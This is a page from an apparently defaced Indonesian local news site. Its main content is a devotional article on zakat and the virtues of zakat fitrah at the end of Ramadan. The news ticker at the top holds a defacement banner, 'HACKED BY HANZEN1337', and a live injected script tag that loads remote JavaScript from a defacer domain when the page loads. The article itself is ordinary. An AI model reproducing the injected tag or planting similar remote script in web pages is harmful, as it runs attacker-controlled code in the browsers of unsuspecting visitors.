News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Pengertian Zakat dan Macamnya (Bagian #2)

Oase Ramadan

Pengertian Zakat dan Macamnya (Bagian #2)

 
IBADAH zakat merupakan salah satu dari lima rukun Islam yang wajib ditunaikan bagi setiap muslim yang mampu dan memiliki kelapangan harta.
 
Kewajiban zakat ini ditetapkan Allah SWT melalui firmannya dalam Alquran surah Al-Baqarah ayat 43:
 
“Dan dirikanlah salat, serta tunaikanlah zakat, serta sujudlah kamu bersama-sama dengan orang yang sujud,” (QS Al-Baqarah [2]: 43).
 
Secara bahasa, zakat artinya suci, berkah, dan berkembang. Sementara itu, secara istilah, zakat adalah mengeluarkan sebagian harta yang diwajibkan Allah SWT untuk diberikan kepada orang-orang yang berhak menerimanya (mustahik), sesuai kadar dan haulnya, dengan rukun dan syarat tertentu.
 
 
 
 
 
Keutamaan Zakat Fitrah Sebagai Penyempurna Ramadan
 
Memasuki pekan terakhir ibadah puasa Ramadan, kita diwajibkan untuk membayar zakat fitrah. Zakat fitrah merupakan amalan yang dilaksanakan sebelum salat Idulfitri pada keesokan harinya. Zakat fitrah harus ditunaikan bagi orang yang memiliki kemampuan untuk menunaikannya.
 
Zakat fitrah merupakan zakat yang diwajibkan kepada setiap umat muslim sebagai santunan kepada orang-orang miskin, juga sebagai tanda berakhirnya bulan Ramadan dan sebagai penyempurna ibadah puasa yang telah dijalankan. Zakat fitrah ini dibayarkan maksimal sebelum salat Idulfitri.
 
Ketentuan zakat fitrah tersebut didasarkan pada hadis Rasulullah SAW:
“Rasulullah SAW telah mewajibkan zakat fitrah sebanyak satu sha’ kurma atau gandum atas orang muslim baik budak dan orang biasa, laki-laki dan wanita, anak-anak dan orang dewasa, Beliau memberitahukan membayar zakat fitrah sebelum berangkat (ke masjid) Idulfitri” (HR Bukhari dan Muslim).
 
Sebagai sesuatu yang diwajibkan, zakat fitrah memiliki keutamaan dan hikmah dimana kamu bisa berbagi dengan sesama melalui zakat yang kamu tunaikan sekaligus membersihkan diri dari hal-hal yang dapat mengotori pahala ibadah puasa.
 
 
 
 
Berikut 3 keutamaan zakat fitrah sebagai penyempurna ibadah puasa Ramadan, simak ulasannya berikut ini:
 
Pertama: Keutamaan zakat fitrah yang pertama adalah dilihat dari kebermanfaatannya bagi yang berpuasa. Dengan melakukan zakat fitrah akan membersihkan dirinya dari dosa dan perbuatan keji serta menyempurnakan ibadah puasa yang telah dijalankan selama satu bulan penuh.
 
Selama menjalankan ibadah puasa tentunya kita masih sering melakukan khilaf dan perbuatan dosa baik disengaja maupun tidak disengaja. Maka dari itu, fungsi dari membayar zakat fitrah juga untuk membersihkan diri dari perbuatan dosa dan keji seperti berkata kotor, berdusta, hasut, dan dengki antar sesama dan sebagainya.
 
Oleh karena itu, zakat fitrah ini hadir sebagai pengganti dan penyempurna terhadap hal-hal lyang masih kurang.
 
Kedua: Selanjutnya keutamaan zakat fitrah yang kedua ialah dilihat dari kemaslahatan umat. Bahwa dengan mengeluarkan zakat fitrah, menjadi bukti kepedulian antar sesama muslim, terlebih terhadap fakir miskin yang sangat membutuhkan uluran tangan saudara muslim yang lain.
 
Hal ini juga tentunya terdapat momen yang tepat dimana kita bisa berbagi sehingga bisa merayakan hari kemenangan yakni, Idulfitri bersama-sama. Kita menyadari bahwa kebahagiaan dan kemenangan muncul tatkala kita mampu berbagi dan membuat orang lain juga bahagia.
 
Melalui pembayaran zakat fitrah, saudara muslim yang berada dalam kondisi kekurangan akhirnya mendapat bantuan seperti, kebutuhan pokok sehingga ia juga dapat merayakan hari raya sama seperti muslim yang lainnya.
 
 
 
Ketiga: Keutamaan zakat fitrah yang ketiga adalah memaknai bahwa Hari Raya Idulfitri merupakan hari kemenangan dan hari kebahagian bagi umat muslim setelah berhasil selama sebulan penuh melaksanakan ibadah puasa di bulan ramadan, menahan diri dari hawa nafsu.
 
Namun kebahagiaan ini kemungkinan besar tidak dirasakan oleh fakir miskin, melihat kekurangan yang ada di diri mereka. Berbeda halnya dengan kebahagiaan yang dirasakan oleh orang yang memiliki kecukupan harta atau orang mampu lainnya.
 
Oleh karena itu, kewajiban membayar zakat fitrah ini merupakan solusi syariat untuk mewujudkan kebahagiaan yang merata kepada umat muslim secara menyeluruh. Hal ini sesuai dengan sabda Rasulullah SAW:
 
“Cukupilah kebutuhan (fakir miskin), agar mereka tidak meminta-minta pada hari seperti ini.” (Sunan Daruqutni: 67). (*/imm)
 
 
Penulis: Drs H Sholikhin Jamik SH MH [Ketua Kelompok Bimbingan Ibadah Haji (KBIH) Masyarakat Madani Bojonegoro]
 
Berita Terkait
1783878193.4316 at start, 1783878193.9142 at end, 0.48258018493652 sec elapsed